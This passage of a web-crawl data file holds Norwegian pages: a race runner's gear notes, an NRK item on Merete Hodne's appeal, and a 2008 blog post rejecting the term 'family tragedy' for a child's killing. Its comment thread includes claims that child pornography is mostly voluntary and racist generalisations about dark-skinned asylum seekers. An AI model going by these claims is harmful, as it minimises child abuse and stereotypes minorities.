kvelder.\n\n### Sko\n\n\n\nSko til \u00e5 l\u00f8pe med er alltid en utfordring ettersom det stadig kommer nye modeller og for meg er de fleste l\u00f8p i forskjellige land som igjen har forskjellig terreng og klima. Hos mange deltagere i l\u00f8p som g\u00e5r over lange distanser og flere dager hovner f\u00f8ttene litt opp, s\u00e5 ved \u00e5 velge litt st\u00f8rre sko enn normalt beholder du de fleste neglene p\u00e5 bena. \u00a0Optimalt skulle jeg selv ha et halvt nummer st\u00f8rre sko en hva jeg endte opp med, men \u00f8nsket st\u00f8rrelse var utsolgt i hele landet og for store sko er heller ikke moro. Til dette l\u00f8pet tenkte jeg mye p\u00e5 utfordringen med nedb\u00f8r, sump i jungelen og h\u00f8y luftfuktighet. Det viktigste for meg var \u00e5 finne et par terrengsko som t\u00f8rket raskt, hadde t\u00e5kappe som beskytter sko og t\u00e6r mot stein, samt en s\u00e5le som er god p\u00e5 b\u00e5de hardt og gj\u00f8rmete underlag.  \nJeg har alltid med et par lette sandaler som jeg tar p\u00e5 meg etter dagsetappene for \u00e5 kunne sette skoa til t\u00f8rks. Sandaler er i tillegg luftig for f\u00f8tter og mye lettere \u00e5 ta av og p\u00e5 i forbindelse med \u00e5 g\u00e5 inn og ut av teltet.\n\n### Mat og energi\n\nAv mat benytter jeg t\u00f8rrfor til frokost og middag. Til lunsj drikker jeg proteinpulver og litt snacks. Jeg er vegetarianer s\u00e5 utvalget p\u00e5 t\u00f8rrfor er begrenset og for \u00e5 f\u00e5 litt variasjon har jeg med t\u00f8rrmat fra forskjellige leverand\u00f8rer (Real Turmat, Adventure Food, Mountain House\u2026).\n\nP\u00e5 lange l\u00f8p med en enkeletappe benytter jeg hovedsakelig bare Tailwind-pulver, men for \u00e5 f\u00e5 litt variasjon over flere dager har jeg i tillegg med litt gel og proteinbarer. Det er for meg viktig \u00e5 ha litt snacks og gjerne med salt p\u00e5 denne type l\u00f8p. For meg er potetgull og kjeks et kj\u00e6rkommen mellomm\u00e5ltid etter dagsetappene. For at potetgullposene skal ta minst mulig plass, stikker jeg et lite hull, moser posene og ruller de sammen, f\u00f8r jeg taper de.\n\n\\-0.180653 -78.467838\n\nBellavista, Quito, Ecuador\n\n", "language": "no", "__index_level_0__": "a29843ce-f93a-4f28-a43b-d69169e6bdd9"}
{"url": "https://www.nrk.no/nyheter/ankesaken-mot-merete-hodne-starter-1.13302342", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:53:39Z", "text": "## Ankesaken mot Merete Hodne starter\n\nMerete Hodne ble d\u00f8mt i tingretten for \u00e5 ha nektet en kvinne med hijab tilgang til fris\u00f8rsalongen sin. Tirsdag starter ankesaken i Gulating lagmannsrett.\n\n\n\n## Ankesaka mot Merete Hodne startar i dag\n\nI tingretten blei Hodne d\u00f8md for \u00e5 ha nekta ei kvinne med hijab tilgang til fris\u00f8rsalongen sin. No skal lagmannsretten ta stilling til om dette er religi\u00f8s diskriminering.\n\nAv Kjersti Hetland\n\n", "language": "no", "__index_level_0__": "779fe9cf-a687-42a0-9974-4219aea881aa"}
{"url": "https://drittlei.wordpress.com/2008/08/25/skremmende-ufarliggj%C3%B8ring/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:32:55Z", "text": "## Skremmende ufarliggj\u00f8ring\n\n25 08 2008\n\nI helgen var det et drap p\u00e5 en 6-\u00e5ring som gikk inn p\u00e5 meg, og sikkert mange med meg. Dessverre var dette bare ett i rekken av drap som har rammet barn i det siste, men \u00e5rsaken til at jeg velger \u00e5 kommentere akkurat dette er f\u00f8lgende. P\u00e5 NRK radio i dag uttalte det lokale politiet seg om saken. Vi ble forklart at de ser p\u00e5 saken som mistenkelige d\u00f8dsfall, foretar taktiske og tekniske unders\u00f8kelser, de d\u00f8de m\u00e5 obduseres f\u00f8r man bastant kan uttale seg om \u00e5rsaken osv. Vedkommende politimann/jurist forklarte videre at dette var en familietragedie, og det var n\u00e6rmest som om jeg fikk et elektrisk st\u00f8t der jeg satt.\n\n**Dette er da for pokker ikke noen familietragedie\\!**\n\nEn familietragedie er n\u00e5r hele eller deler av familien blir utslettet i en bilulykke, en brann, i en tsunami, hvis de forsvinner p\u00e5 fjellet, drukner p\u00e5 s\u00f8ndagstur og andre hendelser der ingen med vitende og vilje blant dem har for\u00e5rsaket d\u00f8dsfallene. N\u00e5r far dreper mor og/eller barn og/eller seg selv M\u00c5 vi benytte korrekt terminologi. Slike saker er drap, legemsbeskadigelse med d\u00f8dsf\u00f8lge, grove legemskrenkelser og andre mer eller mindre selvforklarende definisjoner fra Straffeloven. Tragediebegrepet tar brodden av hendelsen og sementerer en \u00abdet var uunng\u00e5elig\u00bb-tanke hos oss som h\u00f8rer, p\u00e5 samme m\u00e5te som hvis fjeller raser ut og tar med seg hele v\u00e5ningshuset med alle inni. Politiet, som profesjonelle akt\u00f8rer i disse sakene, b\u00f8r, m\u00e5 og skal vokte seg for \u00e5 undergrave alvorligheten i hendelsen. En spade m\u00e5 kalles en spade, selv om det er ubehagelig \u00e5 omtale en tidligere nabo, presten i bygda, den lokale snekkeren eller hvem det m\u00e5tte v\u00e6re, som drapsmann og den som utslettet sin egen familie.\n\nEn tragedie er, slik som caplex definerer det, en tragisk, s\u00f8rgelig ulykke. Det at voksne menn eller kvinner bestemmer seg for \u00e5 leke Gud og d\u00f8mme familiemedlemmer til d\u00f8den, er en forbrytelse og b\u00f8r omtales som det. Guttungen p\u00e5 6 \u00e5r som fikk *en* uke p\u00e5 skolen er offer for et drap, ikke noen tragedie, og ble drept av sin egen far \u2013 den samme faren hvis eneste jobb her i verden er \u00e5 passe p\u00e5 ham p\u00e5 alle vis.\n\nJeg vil tro at det sikkert finnes \u00e5rsaker til at vedkommende valgte dette, psykiatriske, samlivsbrudd eller andre \u2013 men den ford\u00f8mte svinepelsen skal ikke slippe unna med at han inngikk i en familietragedie \u2013 han var opphavet og eneste \u00e5rsak til at resten av den familien aldri blir den samme.\n\nMange har b\u00e5de skrevet og kommentert mye fornuftig omkring dette emnet, og jeg vil anbefale alle \u00e5 ta en titt p\u00e5 Anders Gi\u00e6vers artikkel om de mange drapene p\u00e5 kvinner i dette landet.\n\n  - 25 08 2008\n    \n    ** Sigrun** (17:48:07) :   \n    \n    Tenkte akkurat det samme som deg da jeg s\u00e5 dette i dag. Dette skjer gang p\u00e5 gang p\u00e5 gang p\u00e5 gang. Hva er det med politiet, som gj\u00f8r at de aldri synes \u00e5 l\u00e6re?  \n    Det er s\u00e5 frekt at det ikke g\u00e5r an\\!\n\n  - 25 08 2008\n    \n    ** sol** (17:52:12) :   \n    \n    Helt enig med deg. Mannen er en drapsmann, men for de som sitter igjen er  \n    dette en stor tragedie.  \n    Her er det viktig \u00e5 ikke blande kortene, men holde tunga rett i munnen.  \n    Politiet burde kalle dette drap og v\u00e6re profesjonelle i sin jobb. Jeg syntes at alt ondt som skjer i verden i dag, mennesker som ber\u00f8ver andre livet blir kalt \u00e6resdrap og familietragedier. Det er snart ikke noe som kalles drap og alle mennesker er syke ikke slemme. Barn som blir seksuelt misbrukt blir omtalt som barneporno.  \n    For en j\u00e6vla syk verden vi lever i\n\n  - 26 08 2008\n    \n    ** elghunk** (15:16:21) :   \n    \n    Jeg har tenkt i samme baner som deg her, drittlei. Dersom en far blir litt for n\u00e6rg\u00e5ende mot sin datter, er det ingen grenser for ford\u00f8mmelser og hat-reaksjoner. Dersom han dreper henne (og seg selv), er det bare en tragedie (ordet konnoterer vel mangel p\u00e5 skyld og ansvar). P\u00e5 den annen side kan det kanskje tenkes at vedkommende er s\u00e5 psykisk syk at det blir absurd og snakke om skyld og ansvar. Da kan det v\u00e6re p\u00e5 sin plass \u00e5 anvende ordet \u00abtragedie\u00bb. Men det vil ta uker og m\u00e5neder (eller \u00e5r) f\u00f8r en kan noenlunde sikkert avgj\u00f8re dette. Derfor synes jeg det er prematurt \u00e5 kalle slike handlinger/hendelser for tragedier bare timer etter at du har funnet sted.\n    \n    For \u00f8vrig synes jeg det er synt at sol blander inn barneporno her p\u00e5 en ureflektert m\u00e5te. Barneporno inneb\u00e6rer ikke misbruk av barn og produseres for det meste av barn selv helt frivillig, men dette er en annen diskusjon.\n    \n    Det barn burde v\u00e6re redde for, er egen familie. Baneheialignende saker er det f\u00e5 av.\n\n  - 26 08 2008\n    \n    ** comradearnfinn** (17:16:02) :   \n    \n    Helt enig at dette absolutt ikke er snakk om en familietragedie.  \n    Tragedien i denne sammenhengen er for familien utover faren og barnet, og hva de m\u00e5 sitte igjen med. \u00c5 da benytte begreper som familietragedie er \u00e5 pisse p\u00e5 disse.\n\n  - 26 08 2008\n    \n    ** Sigrun** (19:20:07) :   \n    \n    Elghunk\u00bb: \u00abBarneporno inneb\u00e6rer ikke misbruk av barn og produseres for det meste av barn selv helt frivillig\u00bb.\n    \n    Makan\\! Barneporno er faktisk filmede overgrep mot barn.\n\n  - 26 08 2008\n    \n    ** sol** (21:08:54) :   \n    \n    Elghunk:\n    \n    Barn som blir misbrukt blir til barneporno som \u00absyke\u00bbpersoner nyter \u00e5 se p\u00e5\\!  \n    Frivillig? Hvordan kan du si noe slikt? Dette har du ikke greie p\u00e5. Merker at blodtrykket stiger her jeg sitter.\n    \n    Sol\n\n  - 26 08 2008\n    \n    ** elghunk** (21:35:08) :   \n    \n    Jeg burde ha skrevet \u00abBarneporno inneb\u00e6rer n\u00f8dvendigvis ikke misbruk av barn og produseres for det meste av barn selv helt frivillig\u00bb.\n    \n    N\u00e5r for eksempel jenter p\u00e5 17 \u00e5r tar nakenbilder av seg selv, er dette barneporno (hvis ikke bildene er s\u00e6rdeles milde). Her er det ikke noe misbruk\\!\n    \n    Un\u00f8dvendig \u00e5 p\u00e5st\u00e5 at jeg ikke har greie p\u00e5 noe, bare fordi en ikke er enig\\!\n    \n    Du trenger ikke v\u00e6re spesielt \u00e5rv\u00e5ken for \u00e5 f\u00e5 med seg at barn legger ut slike bilder av seg p\u00e5 nettet helt frivillig. Dette har v\u00e6rt oppe i media en rekke ganger.\n\n  - 26 08 2008\n    \n    ** elghunk** (22:03:34) :   \n    \n    Vi har forresten debattert dette temaet her:\n    \n    https://drittlei.wordpress.com/2008/06/25/dokumenterte-seksuelle-overgrep-mot-bar/\n    \n    Finn Stures innlegg burde v\u00e6re en tankevekker\u2026\n\n  - 26 08 2008\n    \n    ** sol** (22:54:02) :   \n    \n    Elghunk:\n    \n    17 \u00e5r\\! Hva er det du snakker om. Da har vi faktisk v\u00e6rt seksuelt lovelige i 1 \u00e5r.  \n    Jeg snakker om BARN, i alder 3 m\u00e5neder og oppover. Det er ikke en fam tragedie,  \n    men en tragedie for barnet. Trodde du var utdannet l\u00e6rer jeg\u2026\u2026. blir litt skremt\u2026.\n    \n    Sol\n\n  - 26 08 2008\n    \n    ** elghunk** (23:14:58) :   \n    \n    Jeg blir oppgitt n\u00e5r meddebattanter viser en slik total mangel p\u00e5 kunnskaper om temaet som diskuteres. Du f\u00e5r g\u00e5 inn p\u00e5 lovdata. no og lese hva som st\u00e5r i straffeloven. Jeg tror det er paragraf 204.\n    \n    Du skal derimot ha ros for ikke \u00e5 ha kalt meg \u00absyk j\u00e6vel\u00bb eller noe lignende\\!\n    \n    Barneporno kan ogs\u00e5 inkludere bilder og filmer hvor alle akt\u00f8rene er voksne\\! Jeg regner med at du ikke visste dette heller?\n    \n    Jeg har v\u00e6rt legdommer i to slike saker\\!\n    \n    I Norge kan jeg i dag knulle en 16 eller 17 \u00e5r gammel jente i fillebiter helt lovlig, men har jeg bilder av samme jente som frivillig knuller med noen andre, er jeg i besittelse av barneporno og kan straffes. Dette er for meg opplagt absurd.\n\n  - 26 08 2008\n    \n    ** sol** (23:19:47) :   \n    \n    Nei, 10 \u00e5rs yrkeserfaring teller jo ikke her, men du har selvf\u00f8lgelig rett : )  \n    Her blander du kortene og vi prater om to temar om samme sak.\n\n  - 26 08 2008\n    \n    ** elghunk** (23:24:50) :   \n    \n    Beklager om jeg blander kort\\!\n    \n    Hva mener du med 10 \u00e5rs yrkeserfaring?\n\n  - 26 08 2008\n    \n    ** drittlei** (23:24:57) :   \n    \n    Er vi i gang med den evinnelige 17 \u00e5r og 364 dager-diskusjonen igjen? Jeg p\u00e5st\u00e5r, som jeg har gjort tidligere, at man skal lete med lys og lykte etter saker der noen er d\u00f8mt for \u00e5 besitte bilder eller film av en nesten 18-\u00e5rig person. Selv om \u00a7 204a ogs\u00e5 \u00e5pner for \u00abfremst\u00e5r som barn\u00bb, finnes det, s\u00e5vidt meg bekjent, ingen eksempler p\u00e5 at noen er d\u00f8mt for dette.\n    \n    Meningen er \u00e5 beskytte barna, og det st\u00e5r ogs\u00e5 noe om at de \u00e5 produsere bilder av en person under 18 profesjonelt, er straffbart. Man kan p\u00e5st\u00e5 at det d\u00f8mmes folk over en lav sko for marginale overtredelser, men jeg har enn\u00e5 tilgode \u00e5 f\u00e5 noen eksempler p\u00e5 dette. Siden alle dommer er offentlige i dette landet, skal jeg jammen hente dem inn fra de ulike ting- og lagrettene \u2013 og lese grunnlaget for dommen. Jeg trenger helst navn, dato og rett \u2013 det gj\u00f8r det hele mye lettere.\n    \n    Jeg tror at det \u00absol\u00bb og andre legger i dette begrepet, stort sett er ment \u00e5 gjelde f\u00f8rpubertale barn og yngre. Jeg h\u00e5per ingen, selv ikke du Mr Elghunk, mener det er ok \u00e5 produsere, besitte eller spre slik dokumentasjon p\u00e5 overgrep?\n    \n    Jenter som tar bilde av puppene sine for \u00e5 legge dem ut p\u00e5 deiligst.no er ikke det store problemet, det faktum at voksne menn penetrerer alt fra prematurbarn og oppover, er det.\n    \n    For \u00f8vrig st\u00e5r jeg ved alt jeg skrev i innlegget og kommentarene i linken som Elghunk viser til ovenfor. Jeg er vel ikke enig i eksempelet som Finn Sture kom med, men likevel \u2013 det var en morsom analogi.\n\n  - 26 08 2008\n    \n    ** sol** (23:31:03) :   \n    \n    N\u00e5r det gjelder tema vi diskuterer. Derfor blir jeg skremt over dine utsagn og mangel p\u00e5 forst\u00e5else av at de fleste overgrep ikke skjer p\u00e517 \u00e5r gammle jenter som \u00abdu\u00bb knuller og evnt har som screensaver p\u00e5 pcn din, men faktisk sm\u00e5barn  \n    som ikke kan ta egne valg. For dem er det en tragedie, men for overgriperen er det vold, makt og av og tilblir det drap\\!  \n    Mangler jeg fortsatt innsyn? Dum debatant?  \n    Skal vi ta \u00abden rosa sangen\u00bb?\n\n  - 26 08 2008\n    \n    ** elghunk** (23:41:06) :   \n    \n    Problemet er at sol og flertallet lar seg manipulere av media til \u00e5 assosiere det aller v\u00e6rste som kan falle inn under et bestemt begrep. En parallell kan v\u00e6re at mange n\u00e5 tror at asyls\u00f8ker betyr \u00abm\u00f8rkhudet kjeltring med psykiske problemer som dreper folk med kniv\u00bb. Kanskje er det derfor Frp gj\u00f8r det s\u00e5 bra?\n    \n    Jeg mener dette er en generell tankefeil som er like utbredt som f.eks. forhastet generalisering. Et annet eksempel p\u00e5 denne tankefeilen er n\u00e5r folk begynner \u00e5 sette likhetstegn mellom prostitusjon og menneskehandel. Det ligger ingenting i prostitusjonsbegrepet som inneb\u00e6rer menneskehandel, og dette vil ogs\u00e5 gjelde den dagen samtlige prostituerte er offer for menneskehandel.\n\n  - 26 08 2008\n    \n    ** elghunk** (23:50:47) :   \n    \n    sol  \n    Jeg kaller deg ikke dum, men det er tydelig at du ikke visste at barneporno kan innbefatte utelukkende personer over den seksuelle lavalder. P\u00e5 dette punktet mangler du kunnskap.\n    \n    Hva har du 10 \u00e5rs erfaring med og hva i all verden er den rosa sangen?\n\n  - 26 08 2008\n    \n    ** sol** (23:52:25) :   \n    \n    Hvis du tar for deg alle de drap (- far som drepte gutt 6) som er blitt beg\u00e5tt i Norge de siste 3 m\u00e5nedene, hvor mange var hvite, ektef\u00f8dte nordmenn. Jeg lider kanskje av fremmedfrykt, og med all rett til det. Jeg syntes ikke de tar med seg s\u00e5 mye positivt til v\u00e5rt land og jeg hadde klart meg uten. Jeg er ikke rasist, men  \n    de har en egen kultur, relgion, og m\u00e5te \u00e5 behandle hverandre p\u00e5 som ikke passer meg. Her viser jeg til kvinnesynet. Dette har ikke noe med frp, men hva vi leser i media. Frp er de eneste som t\u00f8r \u00e5 sette ord p\u00e5 dette. Ja vi nordmenn er s\u00e5\u00e5\u00e5\u00e5\u00e5 redde for \u00e5 si hva vi tenker.  \n    Jeg forst\u00e5r godt at folk trekker paralellen mellom asyls\u00f8ker/m\u00f8rkhudet og drap/psykotisk og det med all rett. Vi har gjentatte ganger sett at dette stemmer.  \n    N\u00e5r det gjelder 17 \u00e5r gammle jenter og sm\u00e5 barn, s\u00e5 er jeg ikke i tvil om hvilken sak lovens lange arm hadde prioritert.\n    \n    Ha en god natt og dr\u00f8m s\u00f8tt : )\n\n  - 27 08 2008\n    \n    ** sol** (00:02:00) :   \n    \n    Du er ikke barn n\u00e5r du er 17 \u00e5r og muligens har v\u00e6rt seksuelt aktiv i mange \u00e5r, men det kan selvf\u00f8lgelig v\u00e6re et overgrep og det er vel s\u00e5 galt. Jeg hater disse dumme paragrafene for vi er s\u00e5 forskjellig i modningsprosessen. Noen har barn n\u00e5r de er17 \u00e5r andre venter med sex til de er gift.  \n    Jeg h\u00e5per og tror at hvis du \u00f8nsker \u00e5 forst\u00e5 hva jeg mener, s\u00e5 gj\u00f8r du det. Det heter heller ikke barneporno, men  \n    seksuelle overgrep/seksualisert vold. Barneporno blir s\u00e5 galt.  \n    Det med den rosa sangen var en joke da jeg har forst\u00e5tt at du er utdannet l\u00e6rer.\n\n  - 27 08 2008\n    \n    ** elghunk** (00:05:54) :   \n    \n    Men er det ikke urettferdig for den asyls\u00f8keren som kommer til Norge og er en snill og ordentlig person, at vedkommende skal f\u00e5 d\u00e5rlig behandling fordi andre asyls\u00f8kere som han/hun ikke har noen forbindelser til, har oppf\u00f8rt seg d\u00e5rlig?\n    \n    Det var en gang en annen l\u00e6rer som mente jeg ikke burde drikke kaffe i timene fordi hun hadde d\u00e5rlige erfaringer med l\u00e6rere som drakk kaffe i timen. Det er \u00e5 bygge sitt verdensbilde p\u00e5 sviktende grunnlag\u2026\n    \n    drittlei:  \n    Jeg velger \u00e5 ikke kommentere det du skrev, da vi har hatt denne diskusjonen f\u00f8r. Ingen av oss makter vel \u00e5 tilf\u00f8re noe nytt\u2026\n    \n    Du trenger forresten ikke \u00e5 skrive \u00abElghunk\u00bb , siden jeg skriver det men liten forbokstav. S\u00e5 vidt jeg vet er det navneb\u00e6reren som definerer dette (er ikke 100 % sikker).\n\n  - 27 08 2008\n    \n    ** drittlei** (00:06:19) :   \n    \n    .. mitt neste innlegg blir om noe vi alle kan v\u00e6re enige i, s\u00e5 som \u00abfint v\u00e6r i dag\u00bb eller lignende \ud83d\ude00\n\n  - 27 08 2008\n    \n    ** elghunk** (00:11:46) :   \n    \n    Kjenner likevel ikke til den rosa sangen\u2026\n    \n    Jeg tror jeg forst\u00e5r hva du mener, og er kanskje heller ikke uenig. Jeg er noe fokusert p\u00e5 begrepsbruk og spr\u00e5klig korrekthet.\n    \n    Vi f\u00e5r vel avslutte for denne gang\\!\n\n  - 27 08 2008\n    \n    ** elghunk** (00:13:21) :   \n    \n    Her regner det og bl\u00e5ser, s\u00e5 ikke kom med den sleipe \u00abfint v\u00e6r\u00bb din dumme tullebukk\\! N\u00e5 m\u00e5 du f\u00e5 fakta p\u00e5 bordet og ikke spy ut slike ubegrunnede p\u00e5stander\\! Er du fullstendig dum?\n\n  - 27 08 2008\n    \n    ** sol** (00:14:23) :   \n    \n    Jeg sier ikke at alle asyls\u00f8kere er d\u00e5rlige mennesker, men de klarer \u00e5 \u00f8delegge for  \n    hverandre. Jeg ser helst at mine barn kan bevege seg trygt uten \u00e5 f\u00e5 en kniv i ryggen p\u00e5 trikken, eller en \u00f8ks i hode p\u00e5 bussen etc. Ikke v\u00e6r s\u00e5 j\u00e6vla piece and love at du ikke for ditt innerste jeg kan innr\u00f8mme at det faktisk er s\u00e5nn det er blitt. Det er de m\u00f8rke som har gjenger n\u00e5 ikke vi ektef\u00f8dte nordmenn. 1 av10 i fengslene er m\u00f8rke etc. Du kan da ikke g\u00e5 igjennom livet med skylapper for \u00f8ynene og v\u00e6re b\u00e5de blind \u00e5 d\u00f8v. Da skremmer du meg. Vi har godt av \u00e5 v\u00e6re skeptiske. Problembarna er m\u00f8rke. Hvorfor? Kanskje du kan svare.\n\n  - 27 08 2008\n    \n    ** elghunk** (00:27:01) :   \n    \n    Helt enig at vi m\u00e5 ta hensyn til de erfaringer vi gj\u00f8r i hverdagen. Jeg har ogs\u00e5 erfart at mange asyls\u00f8kere er kriminelle (har jobbet p\u00e5 asylmottak). Jeg mener bare at folk skal behandles individuelt og ikke d\u00f8mmes p\u00e5 grunnlag av hva andre mennesker har gjort.\n    \n    Jeg har forresten selv blitt overfalt av en asyls\u00f8ker for 15 \u00e5r siden og det var virkelig skremmende. Men det har ingenting \u00e5 si for hvordan jeg m\u00f8ter andre asyls\u00f8kere.\n    \n    Jeg har ikke nok peiling til \u00e5 gi et godt svar p\u00e5 hvorfor utlendinger er overrepresentert p\u00e5 kriminalitetsstatistikker.\n\n  - 27 08 2008\n    \n    ** sol** (00:33:22) :   \n    \n    Jeg respekterer de som er hyggelige og greie mot meg av asylantentene p\u00e5 lik linje med nordmenn. Det ligger i menneskers natur \u00e5 trekke seg unna det som ikke f\u00f8les behagelig.\n    \n    Det er trist at det er s\u00e5nn,men vi m\u00e5 alle jobbe med oss selv. Jeg er ikke rasist, men er ikke redd for \u00e5 si hva jeg mener. Ikke alltid like klokt, men men.\n    \n    Da roper senga\\! Ha en fin dag i morgen. Er vi heldige, s\u00e5 har drittlei et nytt tema : )\n\n  - 27 08 2008\n    \n    ** elghunk** (00:35:47) :   \n    \n    God natt til deg da\\!\n    \n    Selvf\u00f8lgelig kan vi stole p\u00e5 drittlei\\!\n    \n    Ikke sant, drittlei?\n\n  - 27 08 2008\n    \n    ** drittlei** (01:03:25) :   \n    \n    Det er hyggelig at noen har en viss grad av tiltro til meg \ud83d\ude00\n    \n    Jeg h\u00e5per \u00e5 kunne bidra ogs\u00e5 fremover, men det ser jo ut som om dere to klarer \u00e5 holde selskapet i gang uten at verten beh\u00f8ver \u00e5 l\u00f8pe beina av seg etter drikkevarer \ud83d\ude09\n\n  - 27 08 2008\n    \n    ** Anathema** (13:03:03) :   \n    \n    Jeg blander meg ikke inn i barnepornodiskusjonen, men vil gi ros for temaet i selve posten. Flott post, og s\u00e5 enig s\u00e5 enig\\!\n    \n    Les ogs\u00e5 Anders Gi\u00e6ver som skriver godt i VG om det samme: her.\n\n  - 27 08 2008\n    \n    ** elghunk** (14:46:52) :   \n    \n    \u00abmen den ford\u00f8mte svinepelsen skal ikke slippe unna med at han inngikk i en familietragedie\u00bb\n    \n    Jeg likte ikke den ovenst\u00e5ende ytringen. Den passer ikke med seri\u00f8siteten i resten av innlegget. Hvordan kan du utelukke at mannen var s\u00e5 psykisk syk at han ikke kan holdes ansvarlig for sine handlinger?\n\n  - 27 08 2008\n    \n    ** Per Patterson** (17:54:47) :   \n    \n    Enig med der deg elghunk\\!  \n    Det var et upassende stilbrudd i en ellers fin tekst.\n\n  - 28 08 2008\n    \n    ** sol** (17:17:38) :   \n    \n    Hvorfor er alle alltid psykisk syke, hvorfor ikke bare slem og ond?\n\n  - 28 08 2008\n    \n    ** elghunk** (19:17:51) :   \n    \n    Sol\\!  \n    Pr\u00f8v \u00e5 si dette om barn\\! Han har ikke adhd eller cri de chat eller et eller annet\u2026det barnet der er rett og slett ondt\\!\n    \n    Jeg har sett hvordan barn med adhd kan plage livet av andre og slippe unna med det. De voksne er her dumsnille tror jeg, og kanskje kan vi v\u00e6re dumsnille mot voksne noen ganger slik at de kan spekulere i dette\u2026\n    \n    P\u00e5 den annen side er vel folk som tar livet av seg ofte i ubalanse\u2026(slik som i denne aktuelle saken)\n\n  - 28 08 2008\n    \n    ** sol** (22:08:14) :   \n    \n    Tja mennene er ofte i ubalanse. Kvinnen vil skilles. Mann dreper kvinne eller barn  \n    og s\u00e5 seg selv.  \n    Mann vil skilles. Kvinnen fighter, tar utdannelse og lever godt med sine barn.\n    \n    Hvorfor? Er dere menn det svake kj\u00f8nn og vi kvinner det sterke?\n    \n    ; ) Sol\n\n  - 28 08 2008\n    \n    ** elghunk** (22:51:21) :   \n    \n    Jeg skrev en tekst som forsvant pga dataproblemer og gidder ikke begynne p\u00e5 nytt.\n    \n    Du provoserer, og det er bra.\n    \n    Jeg f\u00e5r provosere tilbake \u00e5 p\u00e5peke at kvinner har blitt hjulpet fram av diverser lover og statlige st\u00f8tteordninger. Personlig synes jeg ikke om \u00e5 kvotere inn kvinner i styrer, men ville foretrukket \u00e5 kvotere dem inn p\u00e5 fiskeb\u00e5ter i Lofoten.  \n    Ingen b\u00e5t f\u00e5r forlate kaia f\u00f8r den har minst 40 % kvinner ombord\\!\n\n  - 29 08 2008\n    \n    ** drittlei** (01:40:12) :   \n    \n    Elghunk og Per Patterson: Fordi jeg synes han er en svinepels. Forskning har vist at veldig f\u00e5 av de som tar livet av hele sin familie eller deler av den, slik som i dette tilfellet, faktisk er sinnslidende. Ofte har de planlagt handlingen over tid, i noen tilfeller \u00e5r \u2013 slik at overlegget i h\u00f8yeste grad er tilstede. Det er ikke dermed sagt at de ikke lider av noe, men trolig ikke en alvorlig psykisk lidelse.\n    \n    Hvis man ser p\u00e5 kriminalsaker generelt, er det veldig f\u00e5 som blir frikjent som f\u00f8lge av psykiske lidelser. Selv om man er sv\u00e6rt psykisk syk, kan man normalt skille mellom rett og galt, det er mer viljen det kommer an p\u00e5. Jeg kan derfor bli med p\u00e5 \u00e5 moderere meg til dette:\n    \n    \"men den ford\u00f8mte svinepelsen (forutsatt at han ikke hadde en straffriende psykisk lidelse som gjorde ham ute av stand til \u00e5 oppfatte at handlingen han begikk mot barnet, ved \u00e5 stenge luftveiene p\u00e5 dette med hender og/eller redskap og s\u00e5ledes p\u00e5f\u00f8rte forn\u00e6rmede stor lidelse, smerte og redsel f\u00f8r d\u00f8den inntraff, var lovstridig eller moralskt i strid med gjeldende oppfatning i kongeriket) skal ikke slippe unna med at han inngikk i en familietragedie\"\n    \n    N\u00e5 da, akseptabelt?\n    \n    Jeg er ikke fullstendig uenig i at det muligens var et lite f\u00f8lelsesutbrudd bak den setningen der og s\u00e5ledes tildels upassende, men jeg ble oppriktig oppr\u00f8rt av dette (og andre, lignende saker i det siste) og f\u00f8lte at gjerningsmannen ble omtalt i overkant sympatisk.\n    \n    Anathema: Takk skal du ha\\!\n    \n    \ud83d\ude42\n\n  - 29 08 2008\n    \n    ** elghunk** (14:58:14) :   \n    \n    Vel\u2026  \n    En annen variant av den samme tenkningen kan v\u00e6re:\n    \n    Premiss 1: Forskning har vist at barn med l\u00e6ringsvansker av typen x nesten aldri l\u00e6rer \u00e5 lese.  \n    Premiss 2: Dette barnet har l\u00e6ringsvansker av typen x  \n    Konklusjon: Dette barnet vil ikke klare \u00e5 kunne lese (Drit i \u00e5 hjelpe dette barnet)\n    \n    Det hjelper ikke om forskning skulle vise at 99 % av folk som tar livet av sin familie ikke er strafferettslig utilregnelig, dersom personen i den aktuelle saken er det.\n    \n    Jeg er enig med deg at det virker merkelig \u00e5 kalle det en familietragedie. Men i stedet for \u00e5 komme med en like forhastet p\u00e5stand om at det ikke er en familietragedie, kan en jo bare n\u00f8ye seg med \u00e5 p\u00e5peke at det ikke er grunnlag for \u00e5 kalle det verken det ene eller det andre inntil en f\u00e5r mer informasjon om saken.\n    \n    Synes det er fint at du er sint over dette, men er du like sint p\u00e5 den kvinnen som n\u00e5 er p\u00e5 tiltalebenken for \u00e5 ha kvalt eget barn? Hun skal etter sigende ha drevet med systematisk mishandling over mange \u00e5r for \u00e5 f\u00e5 sympati fra leger og andre ansatte i helsetjenesten. Er ikke dette en enda styggere sak?\n\n  - 29 08 2008\n    \n    ** sol** (17:34:20) :   \n    \n    \u00abMunchhousen by Proxy- Munchausen by proxy is when you falsify anothers illness to get attention for yourself(like your child)\u00bb\n    \n    I dette tilfelle er du skikkerlig ute \u00e5 kj\u00f8re : ) Her er det snakk om en sykelig tillstand. Kvinne er alikevel et monster. Kvele sitt eget barn, for deretter \u00e5 gjennopplive det. Alt dette for \u00e5 f\u00e5 annerkjennelse av lege etc.\n    \n    Som ikke syk kan jeg ikke fort\u00e5 hvordan noen kan skade sine egne barn. Det er det kj\u00e6reste jeg har.  \n    N\u00e5r det gjelder hvem som har Munchausen, tror jeg det gjelder flest kvinner og ikke menn.\n    \n    Vi er litt skrudde p\u00e5 hver v\u00e5r m\u00e5te og takkler ikke ting likt (som skilsmisse etc)\n    \n    Er enig med kvoten til fiskeb\u00e5tene. Kvinner er nok bedre tr\u00e5klerfiskere enn de er som sjefer (les valla).  \n    Det er godt vi har forskjellige meninger, for da blir verden et mer spennende sted.\n\n  - 29 08 2008\n    \n    ** sol** (17:35:32) :   \n    \n    Her gikk det litt fort. Noen skrivefeil : ( men det f\u00e5r dere leve med\\!\n\n  - 29 08 2008\n    \n    ** elghunk** (20:10:03) :   \n    \n    Jeg bryr mer ikke om skrivefeil, bare jeg forst\u00e5r hva som menes.\n    \n    Men tror ikke jeg er fullstendig ute og kj\u00f8rer fordi det ikke er avgjort om kvinnen lider av det aktuelle syndromet.\n    \n    Jeg er kanskje mere ute og kj\u00f8rer i mitt svar til drittlei, siden han p\u00e5 en m\u00e5te har presisert hva han mente, mens jeg skriver som om 